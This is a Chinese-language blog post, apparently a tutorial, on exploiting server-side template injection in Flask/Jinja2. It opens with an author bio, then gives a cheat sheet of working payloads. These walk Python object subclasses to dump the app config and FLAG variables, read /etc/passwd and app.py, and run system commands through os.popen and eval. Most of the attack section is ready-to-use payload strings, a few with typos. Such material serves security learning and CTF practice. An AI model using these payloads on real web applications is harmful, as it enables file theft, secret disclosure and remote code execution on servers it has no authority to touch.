SSTI+Flask+Python:漏洞利用
前言:
介绍:
博主:网络安全领域狂热爱好者。
殊荣:华为云博主、CSDN网络安全领域优质创作者(CSDN:黑色地带(崛起)),2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。
擅长:对于技术、工具、漏洞原理、黑产打击的研究。
导读:
面向读者:对于网络安全方面的学者。
本文知识点:
(1)【SSTI模块注入】SSTI+Flask+Python:漏洞利用(√)
目录
一、利用思路
1、获取内置类所对应的类
__class__
2、获得object基类
__bases__
3、获取子类列表
__subclasses__()
4、在子类中寻找可利用的类(函数)
二、针对性利用
2.1、获取基础信息:
config:
{{config}}:可以获取当前设置
self:
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}}
""、[]、()
配合__class__.__mro__[2]这样找到object类
{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']}}
更多
url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等
如果config,self不能使用,要获取配置信息,就必须从它的上部全局变量(访问配置current_app等)
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
2.2、获取基类
''.__class__.__mro__[2] #python2.7
''.__.class__.__mro__[1] #python3.7
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
2.3、读写文件
第一步:
''.__class__
<class 'str'>#获取''字符串的所属对象
第二步:
''.__class__.__mro__
(<class 'str'>, <class 'object'>)#获取str类的父类
第三步:
''.__class__.__mro__[1].__subclasses__()
<……>#获取object类的所有子类
第四步:
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
读是read(),写是write()
类中寻找类,用数组下标获取,然执行类中函数(第41个类是file类)
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
读文件read() 可改为 写文件write()
python3没有file
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}
2.4、命令执行:
第一步:
通过脚本找到包含os模块的类
输出了编号为n的类
第二步:
构造paylad
''.__class__.__mro__[1].__subclasses__()[n].__init__.__globals__['os'].system('ls')#列出本级目录
''.__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.') #读取本级目录
下面如果有os类,直接执行命令
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
下面如果有eval,__import__等全局函数,进行执行命令
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
————————————————————
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")————————————————————
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()————————————————————
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
三、示例:
3.1、payload
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
第一个{% %}
[].__class__#返回的是[]的类型list为列表
list.__base__#返回list的一个父类为object是所有类的基类所有类都是继承自object
object.__subclasses__()#返回object的所有子类所有继承自object的类
第二个{% %}
循环遍历类寻找catch_warnings这个类进入该类
第三个{% %}
c.__init__#表示c类中的init这个内置方法
__init__.__globals__['__builtins__']#返回init这个方法可以使用的类、方法、以及属性当中的__builtins__
__builtins__#表示内建方法因为这里所使用的open是一个内建方法利用open打开源码调用read读取
- 点赞
- 收藏
- 关注作者
评论(0)